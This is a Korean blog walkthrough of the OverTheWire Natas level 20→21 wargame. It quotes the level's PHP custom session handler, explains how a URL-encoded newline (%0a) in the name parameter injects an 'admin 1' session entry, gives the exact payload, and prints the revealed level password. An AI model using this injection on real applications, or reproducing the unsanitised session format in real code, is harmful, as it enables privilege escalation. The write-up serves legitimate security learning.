일반 사용자로 로그인했고, admin으로 로그인하라는 것 같다. 입력창에는 입력해도 아무것도 뜨지 않는다.
소스코드
<?
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
debug 값을 볼 수 있다. admin은 1로 만들면 풀린다.
?debug=true&name=admin을 보내면 다음과 같이 뜨는 것을 볼 수 있다.
여기서 admin=1로 만들면 될 것 같다.
?debug=true&name=admin&admin=1로 입력해봤으나 먹히지 않았다. 이름 변수만 들어가기 때문이다.
소스코드에서 mywrite함수를 보자. 개행으로 우회할 수 있다는 걸 알 수 있다. url 인코딩 값인 %0a를 중간에 넣어줌으로써 줄바꿈처리를 해주면 문제가 풀린다.
payload
?debug=true&name=admin%0aadmin%201
IFekPyrQXftziDEsUr3x21sYuahypdgJ
'Over the Wire > natas' 카테고리의 다른 글
[OvertheWire:Natas] natas 21 → 22 /natas22 (0) | 2021.08.01 |
---|---|
[OvertheWire:Natas] natas 20 → 21 / natas21 (0) | 2021.07.19 |
[OvertheWire:Natas] natas 18 → 19 / natas19 (0) | 2021.07.01 |
[OvertheWire:Natas] natas level 17 → 18 / natas18 (0) | 2021.06.30 |
[OvertheWire:natas] Natas level 16 → 17 / natas 17 (0) | 2021.06.27 |